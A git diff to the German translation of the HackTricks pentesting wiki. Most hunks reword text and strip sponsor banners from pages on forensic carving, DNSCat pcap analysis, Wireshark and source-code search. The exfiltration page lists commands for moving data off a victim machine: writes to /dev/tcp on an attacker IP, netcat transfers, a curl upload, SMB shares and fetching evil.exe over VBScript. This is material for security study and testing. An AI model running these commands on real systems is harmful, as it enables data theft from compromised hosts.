{% endhint %} diff --git a/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md b/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md index 29353d4b4..ea0ee1b4c 100644 --- a/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md +++ b/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md @@ -15,17 +15,9 @@ Learn & practice GCP Hacking: {% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ## Carving & Recovery tools -Mehr Tools unter [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery) +Weitere Tools unter [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery) ### Autopsy @@ -33,7 +25,7 @@ Das am häufigsten verwendete Tool in der Forensik zum Extrahieren von Dateien a ### Binwalk -**Binwalk** ist ein Tool zur Analyse von Binärdateien, um eingebettete Inhalte zu finden. Es kann über `apt` installiert werden und der Quellcode ist auf [GitHub](https://github.com/ReFirmLabs/binwalk). +**Binwalk** ist ein Tool zur Analyse von Binärdateien, um eingebettete Inhalte zu finden. Es kann über `apt` installiert werden und der Quellcode befindet sich auf [GitHub](https://github.com/ReFirmLabs/binwalk). **Nützliche Befehle**: ```bash @@ -44,7 +36,7 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file ``` ### Foremost -Ein weiteres gängiges Tool, um versteckte Dateien zu finden, ist **foremost**. Die Konfigurationsdatei von foremost befindet sich in `/etc/foremost.conf`. Wenn Sie nur nach bestimmten Dateien suchen möchten, kommentieren Sie diese aus. Wenn Sie nichts auskommentieren, sucht foremost nach den standardmäßig konfigurierten Dateitypen. +Ein weiteres gängiges Tool, um versteckte Dateien zu finden, ist **foremost**. Die Konfigurationsdatei von foremost finden Sie unter `/etc/foremost.conf`. Wenn Sie nur nach bestimmten Dateien suchen möchten, kommentieren Sie diese aus. Wenn Sie nichts auskommentieren, sucht foremost nach den standardmäßig konfigurierten Dateitypen. ```bash sudo apt-get install foremost foremost -v -i file.img -o output @@ -59,9 +51,9 @@ scalpel file.img -o output ``` ### Bulk Extractor -Dieses Tool ist in Kali enthalten, kann aber hier gefunden werden: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor) +Dieses Tool ist in Kali enthalten, aber Sie können es hier finden: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor) -Dieses Tool kann ein Image scannen und wird **pcaps** darin **extrahieren**, **Netzwerkinformationen (URLs, Domains, IPs, MACs, Mails)** und weitere **Dateien**. Sie müssen nur Folgendes tun: +Dieses Tool kann ein Image scannen und wird **pcaps** darin **extrahieren**, **Netzwerkinformationen (URLs, Domains, IPs, MACs, Mails)** und weitere **Dateien**. Sie müssen nur: ``` bulk_extractor memory.img -o out_folder ``` @@ -100,16 +92,10 @@ Sucht nach AES-Schlüsseln, indem es nach ihren Schlüsselschemata sucht. In der Laden Sie [hier herunter](https://sourceforge.net/projects/findaes/). -## Ergänzende Werkzeuge +## Ergänzende Tools Sie können [**viu** ](https://github.com/atanunq/viu) verwenden, um Bilder aus dem Terminal anzuzeigen.\ -Sie können das Linux-Befehlszeilenwerkzeug **pdftotext** verwenden, um ein PDF in Text umzuwandeln und es zu lesen. - -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} +Sie können das Linux-Befehlszeilen-Tool **pdftotext** verwenden, um ein PDF in Text umzuwandeln und es zu lesen. {% hint style="success" %} Lernen & üben Sie AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md b/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md index 98d1c23ad..fc838fb27 100644 --- a/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md +++ b/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md @@ -6,7 +6,7 @@ Lernen & üben Sie GCP Hacking: -Support HackTricks +Unterstützen Sie HackTricks * Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! * **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** @@ -15,25 +15,17 @@ Lernen & üben Sie GCP Hacking: {% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ## Carving & Recovery tools Weitere Tools unter [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery) ### Autopsy -Das am häufigsten verwendete Tool in der Forensik zum Extrahieren von Dateien aus Bildern ist [**Autopsy**](https://www.autopsy.com/download/). Laden Sie es herunter, installieren Sie es und lassen Sie es die Datei verarbeiten, um "versteckte" Dateien zu finden. Beachten Sie, dass Autopsy entwickelt wurde, um Disk-Images und andere Arten von Bildern zu unterstützen, jedoch keine einfachen Dateien. +Das am häufigsten verwendete Tool in der Forensik zum Extrahieren von Dateien aus Bildern ist [**Autopsy**](https://www.autopsy.com/download/). Laden Sie es herunter, installieren Sie es und lassen Sie es die Datei verarbeiten, um "versteckte" Dateien zu finden. Beachten Sie, dass Autopsy entwickelt wurde, um Festplattenabbilder und andere Arten von Bildern zu unterstützen, jedoch keine einfachen Dateien. ### Binwalk -**Binwalk** ist ein Tool zur Analyse von Binärdateien, um eingebettete Inhalte zu finden. Es kann über `apt` installiert werden und der Quellcode befindet sich auf [GitHub](https://github.com/ReFirmLabs/binwalk). +**Binwalk** ist ein Tool zur Analyse von Binärdateien, um eingebettete Inhalte zu finden. Es kann über `apt` installiert werden und sein Quellcode befindet sich auf [GitHub](https://github.com/ReFirmLabs/binwalk). **Nützliche Befehle**: ```bash @@ -44,7 +36,7 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file ``` ### Foremost -Ein weiteres gängiges Tool, um versteckte Dateien zu finden, ist **foremost**. Die Konfigurationsdatei von foremost finden Sie unter `/etc/foremost.conf`. Wenn Sie nur nach bestimmten Dateien suchen möchten, kommentieren Sie diese aus. Wenn Sie nichts auskommentieren, sucht foremost nach den standardmäßig konfigurierten Dateitypen. +Ein weiteres gängiges Tool, um versteckte Dateien zu finden, ist **foremost**. Die Konfigurationsdatei von foremost befindet sich in `/etc/foremost.conf`. Wenn Sie nur nach bestimmten Dateien suchen möchten, kommentieren Sie diese aus. Wenn Sie nichts auskommentieren, sucht foremost nach den standardmäßig konfigurierten Dateitypen. ```bash sudo apt-get install foremost foremost -v -i file.img -o output @@ -85,7 +77,7 @@ Es kommt mit GUI- und CLI-Versionen. Sie können die **Dateitypen** auswählen, * Mehrere Plots für verschiedene Fokuspunkte * Fokussierung auf Teile einer Probe * **Anzeigen von Strings und Ressourcen**, in PE- oder ELF-Executables z. B. -* **Muster** für die Kryptoanalyse von Dateien erhalten +* Erhalten von **Mustern** für die Kryptoanalyse von Dateien * **Erkennen** von Packer- oder Encoder-Algorithmen * **Identifizieren** von Steganographie durch Muster * **Visuelles** binäres Differenzieren @@ -105,12 +97,6 @@ Laden Sie [hier herunter](https://sourceforge.net/projects/findaes/). Sie können [**viu** ](https://github.com/atanunq/viu) verwenden, um Bilder aus dem Terminal anzuzeigen.\ Sie können das Linux-Befehlszeilen-Tool **pdftotext** verwenden, um ein PDF in Text umzuwandeln und es zu lesen. -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - {% hint style="success" %} Lernen & üben Sie AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Lernen & üben Sie GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md b/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md index 0076cb187..ff610aeaa 100644 --- a/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md +++ b/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md @@ -1,37 +1,25 @@ # DNSCat pcap-Analyse {% hint style="success" %} -Lerne & übe AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Lerne & übe GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Lernen & üben Sie AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Lernen & üben Sie GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Unterstütze HackTricks +Unterstützen Sie HackTricks -* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! -* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst. +* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! +* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
{% endhint %} -#### [WhiteIntel](https://whiteintel.io) -
-[**WhiteIntel**](https://whiteintel.io) ist eine **Dark-Web**-unterstützte Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden durch **Stealer-Malware** **kompromittiert** wurden. +Wenn Sie eine pcap-Datei mit Daten haben, die **von DNSCat exfiltriert werden** (ohne Verschlüsselung zu verwenden), können Sie den exfiltrierten Inhalt finden. -Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die aus informationsstehlender Malware resultieren. - -Du kannst ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter: - -{% embed url="https://whiteintel.io" %} - -*** - -Wenn du eine pcap-Datei mit Daten hast, die von **DNSCat exfiltriert** werden (ohne Verschlüsselung), kannst du den exfiltrierten Inhalt finden. - -Du musst nur wissen, dass die **ersten 9 Bytes** keine echten Daten sind, sondern mit der **C\&C-Kommunikation** zusammenhängen: +Sie müssen nur wissen, dass die **ersten 9 Bytes** keine echten Daten sind, sondern mit der **C\&C-Kommunikation** verbunden sind: ```python from scapy.all import rdpcap, DNSQR, DNSRR import struct diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md b/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md index 19a12dd52..e08fd9996 100644 --- a/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md +++ b/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md @@ -15,19 +15,6 @@ Lerne & übe GCP Hacking: {% endhint %} -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) ist eine **Dark-Web**-unterstützte Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden durch **Stealer-Malware** **kompromittiert** wurden. - -Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die durch informationsstehlende Malware verursacht werden. - -Du kannst ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter: - -{% embed url="https://whiteintel.io" %} - -*** ## Verbessere deine Wireshark-Fähigkeiten @@ -44,7 +31,7 @@ Die folgenden Tutorials sind großartig, um einige coole grundlegende Tricks zu **Experteninformationen** -Wenn du auf _**Analyse** --> **Experteninformationen**_ klickst, erhältst du eine **Übersicht** darüber, was in den **analysierten** Paketen passiert: +Durch Klicken auf _**Analyse** --> **Experteninformationen**_ erhältst du eine **Übersicht** darüber, was in den **analysierten** Paketen passiert: ![](<../../../.gitbook/assets/image (256).png>) @@ -56,7 +43,7 @@ Unter _**Statistiken --> Aufgelöste Adressen**_ findest du mehrere **Informatio **Protokollhierarchie** -Unter _**Statistiken --> Protokollhierarchie**_ kannst du die **Protokolle** **finden**, die an der Kommunikation beteiligt sind, sowie Daten über sie. +Unter _**Statistiken --> Protokollhierarchie**_ findest du die **Protokolle**, die an der Kommunikation beteiligt sind, sowie Daten über sie. ![](<../../../.gitbook/assets/image (586).png>) @@ -72,7 +59,7 @@ Unter _**Statistiken --> Endpunkte**_ findest du eine **Zusammenfassung der Endp ![](<../../../.gitbook/assets/image (896).png>) -**DNS-Informationen** +**DNS-Info** Unter _**Statistiken --> DNS**_ findest du Statistiken über die erfassten DNS-Anfragen. @@ -126,7 +113,7 @@ In der aktuellen Wireshark-Version musst du anstelle von `bootp` nach `DHCP` suc ![](<../../../.gitbook/assets/image (1003).png>) -## Entschlüsselung von TLS +## TLS entschlüsseln ### Entschlüsselung von HTTPS-Verkehr mit dem privaten Schlüssel des Servers @@ -179,29 +166,17 @@ f = open('all_bytes.data', 'w+b') f.write(all_bytes) f.close() ``` -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) ist eine **dark-web**-gestützte Suchmaschine, die **kostenlose** Funktionen anbietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden durch **Stealer-Malware** **kompromittiert** wurden. - -Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die aus informationsstehlender Malware resultieren. - -Sie können ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter: - -{% embed url="https://whiteintel.io" %} - {% hint style="success" %} -Lernen & üben Sie AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Lernen & üben Sie GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Lerne & übe AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Lerne & übe GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Support HackTricks +Unterstütze HackTricks -* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! -* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden. +* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! +* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
{% endhint %} diff --git a/generic-methodologies-and-resources/exfiltration.md b/generic-methodologies-and-resources/exfiltration.md index 771bbdd57..88358b380 100644 --- a/generic-methodologies-and-resources/exfiltration.md +++ b/generic-methodologies-and-resources/exfiltration.md @@ -1,33 +1,25 @@ # Exfiltration {% hint style="success" %} -Lernen Sie & üben Sie AWS-Hacking: [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Lernen Sie & üben Sie GCP-Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Unterstützen Sie HackTricks +Support HackTricks -* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! -* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories einreichen. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} -**Try Hard Security Group** +## Häufig whitelisted Domains zum Exfiltrieren von Informationen -
+Check [https://lots-project.com/](https://lots-project.com/) um häufig whitelisted Domains zu finden, die missbraucht werden können -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - -## Häufig whitelistete Domains zum Exfiltrieren von Informationen - -Überprüfen Sie [https://lots-project.com/](https://lots-project.com/), um häufig whitelistete Domains zu finden, die missbraucht werden können - -## Kopieren & Einfügen Base64 +## Copy\&Paste Base64 **Linux** ```bash @@ -66,7 +58,7 @@ Start-BitsTransfer -Source $url -Destination $output -Asynchronous ### Dateien hochladen * [**SimpleHttpServerWithFileUploads**](https://gist.github.com/UniIsland/3346170) -* [**SimpleHttpServer printing GET and POSTs (also headers)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149) +* [**SimpleHttpServer druckt GET und POSTs (auch Header)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149) * Python-Modul [uploadserver](https://pypi.org/project/uploadserver/): ```bash # Listen to files @@ -80,7 +72,7 @@ curl -X POST http://HOST/upload -H -F 'files=@file.txt' # With basic auth: # curl -X POST http://HOST/upload -H -F 'files=@file.txt' -u hello:world ``` -### **HTTPS Server** +### **HTTPS-Server** ```python # from https://gist.github.com/dergachev/7028596 # taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/ @@ -171,7 +163,7 @@ kali_op2> smbserver.py -smb2support name /path/folder # Share a folder #For new Win10 versions impacket-smbserver -smb2support -user test -password test test `pwd` ``` -Oder erstellen Sie einen SMB-Share **mit Samba**: +Oder erstellen Sie einen smb-Share **mit Samba**: ```bash apt-get install samba mkdir /tmp/smb @@ -187,21 +179,6 @@ guest ok = Yes service smbd restart ``` Windows - ---- - -### Exfiltration - -Exfiltration is the unauthorized transfer of data from a target. There are various methods to exfiltrate data from a compromised system. Some common exfiltration methods include: - -- **Email**: Sending data as email attachments to an external email account. -- **FTP**: Transferring data using the File Transfer Protocol to an external server. -- **DNS**: Encoding data within DNS requests to leak information. -- **HTTP/HTTPS**: Sending data over HTTP or HTTPS to a remote server. -- **Steganography**: Hiding data within other files to avoid detection. -- **Cloud Storage**: Uploading data to cloud storage services. - -Attackers may use one or more of these methods to exfiltrate sensitive information from a target network. It is essential for defenders to monitor and control outbound network traffic to detect and prevent exfiltration attempts. ```bash CMD-Wind> \\10.10.14.14\path\to\exe CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials @@ -217,13 +194,13 @@ scp @:/ ``` ## SSHFS -Wenn das Opfer SSH hat, kann der Angreifer ein Verzeichnis vom Opfer zum Angreifer mounten. +Wenn das Opfer SSH hat, kann der Angreifer ein Verzeichnis vom Opfer zum Angreifer einbinden. ```bash sudo apt-get install sshfs sudo mkdir /mnt/sshfs sudo sshfs -o allow_other,default_permissions @:/ /mnt/sshfs/ ``` -## Netzwerk-Kommunikation +## NC ```bash nc -lvnp 4444 > new_file nc -vn 4444 < exfil_file @@ -235,14 +212,14 @@ nc -vn 4444 < exfil_file nc -lvnp 80 > file #Inside attacker cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim ``` -### Datei auf das Opfer hochladen +### Datei an das Opfer hochladen ```bash nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker # Inside victim exec 6< /dev/tcp/10.10.10.10/4444 cat <&6 > file.txt ``` -Dank an **@BinaryShadow\_** +danke an **@BinaryShadow\_** ## **ICMP** ```bash @@ -270,9 +247,9 @@ sudo python -m smtpd -n -c DebuggingServer :25 ``` ## TFTP -Standardmäßig in XP und 2003 (bei anderen muss es während der Installation explizit hinzugefügt werden) +Standardmäßig in XP und 2003 (in anderen muss es während der Installation ausdrücklich hinzugefügt werden) -In Kali **starten Sie den TFTP-Server**: +In Kali, **TFTP-Server starten**: ```bash #I didn't get this options working and I prefer the python option mkdir /tftp @@ -290,15 +267,11 @@ tftp -i get nc.exe ``` ## PHP -Laden Sie eine Datei mit einem PHP-Oneliner herunter: +Lade eine Datei mit einem PHP-Oneliner herunter: ```bash echo "" > down2.php ``` ## VBScript - -### Exfiltration - -VBScript can be used to exfiltrate data by sending it over HTTP or HTTPS to an attacker-controlled server. This can be achieved by creating an HTTP request object, setting the request method, headers, and body, and then sending the request to the server. The server-side script should be able to receive the incoming data and log/process it as needed. This method can be used to exfiltrate sensitive information such as passwords, documents, or system configuration details. ```bash Attacker> python -m SimpleHTTPServer 80 ``` @@ -336,14 +309,13 @@ cscript wget.vbs http://10.11.0.5/evil.exe evil.exe ``` ## Debug.exe -Das Programm `debug.exe` ermöglicht nicht nur die Inspektion von Binärdateien, sondern hat auch die **Fähigkeit, sie aus Hexadezimalwerten neu zu erstellen**. Das bedeutet, dass `debug.exe`, indem es einen Hexadezimalwert einer Binärdatei bereitstellt, die Binärdatei generieren kann. Es ist jedoch wichtig zu beachten, dass debug.exe eine **Einschränkung beim Zusammenstellen von Dateien bis zu 64 KB Größe** hat. +Das `debug.exe` Programm ermöglicht nicht nur die Inspektion von Binaries, sondern hat auch die **Fähigkeit, sie aus Hex zu rekonstruieren**. Das bedeutet, dass `debug.exe` die Binärdatei generieren kann, indem man ein Hex eines Binaries bereitstellt. Es ist jedoch wichtig zu beachten, dass debug.exe eine **Einschränkung hat, Dateien bis zu 64 kb Größe zusammenzustellen**. ```bash # Reduce the size upx -9 nc.exe wine exe2bat.exe nc.exe nc.txt ``` -```markdown -Dann kopieren Sie den Text in die Windows-Shell, und eine Datei namens nc.exe wird erstellt. +Dann fügen Sie den Text in die Windows-Shell ein, und eine Datei namens nc.exe wird erstellt. * [https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html](https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html) @@ -351,24 +323,17 @@ Dann kopieren Sie den Text in die Windows-Shell, und eine Datei namens nc.exe wi * [https://github.com/62726164/dns-exfil](https://github.com/62726164/dns-exfil) -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - {% hint style="success" %} -Lernen Sie & üben Sie AWS-Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Lernen Sie & üben Sie GCP-Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Lernen & üben Sie AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Lernen & üben Sie GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Unterstützen Sie HackTricks * Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! -* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegramm-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories senden. +* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
{% endhint %} -``` diff --git a/generic-methodologies-and-resources/external-recon-methodology/wide-source-code-search.md b/generic-methodologies-and-resources/external-recon-methodology/wide-source-code-search.md index 869a71356..f577bd2f8 100644 --- a/generic-methodologies-and-resources/external-recon-methodology/wide-source-code-search.md +++ b/generic-methodologies-and-resources/external-recon-methodology/wide-source-code-search.md @@ -1,59 +1,45 @@ -# Weite Quellcodesuche +# Weite Quellcode-Suche {% hint style="success" %} -Lernen & üben Sie AWS-Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Lernen & üben Sie GCP-Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Lerne & übe AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Lerne & übe GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Unterstützen Sie HackTricks +Unterstütze HackTricks -* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! -* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories einreichen. +* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! +* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Teile Hacking-Tricks, indem du PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
{% endhint %} -**Try Hard Security Group** +Das Ziel dieser Seite ist es, **Plattformen aufzulisten, die das Suchen nach Code** (literal oder regex) in Tausenden/Millionen von Repos auf einer oder mehreren Plattformen ermöglichen. -
+Dies hilft in mehreren Fällen, **nach geleakten Informationen** oder nach **Schwachstellen**-Mustern zu suchen. -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - -Das Ziel dieser Seite ist es, **Plattformen aufzulisten, die die Suche nach Code** (literal oder regex) in Tausenden/Millionen von Repos auf einer oder mehreren Plattformen ermöglichen. - -Dies hilft in mehreren Fällen, nach **geleakten Informationen** oder nach **Vulnerabilitätsmustern** zu suchen. - -* [**SourceGraph**](https://sourcegraph.com/search): Suche in Millionen von Repos. Es gibt eine kostenlose Version und eine Enterprise-Version (mit 15 Tagen kostenlos). Es unterstützt Regexes. -* [**Github-Suche**](https://github.com/search): Suche über Github. Es unterstützt Regexes. +* [**SourceGraph**](https://sourcegraph.com/search): Suche in Millionen von Repos. Es gibt eine kostenlose Version und eine Unternehmensversion (mit 15 Tagen kostenlos). Es unterstützt Regex. +* [**Github-Suche**](https://github.com/search): Suche auf Github. Es unterstützt Regex. * Vielleicht ist es auch nützlich, [**Github Code Search**](https://cs.github.com/) zu überprüfen. -* [**Gitlab Advanced Search**](https://docs.gitlab.com/ee/user/search/advanced\_search.html): Suche in Gitlab-Projekten. Unterstützt Regexes. +* [**Gitlab Erweiterte Suche**](https://docs.gitlab.com/ee/user/search/advanced\_search.html): Suche in Gitlab-Projekten. Unterstützt Regex. * [**SearchCode**](https://searchcode.com/): Suche nach Code in Millionen von Projekten. {% hint style="warning" %} -Wenn Sie in einem Repo nach Leaks suchen und etwas wie `git log -p` ausführen, vergessen Sie nicht, dass es **andere Branches mit anderen Commits** geben könnte, die Geheimnisse enthalten! 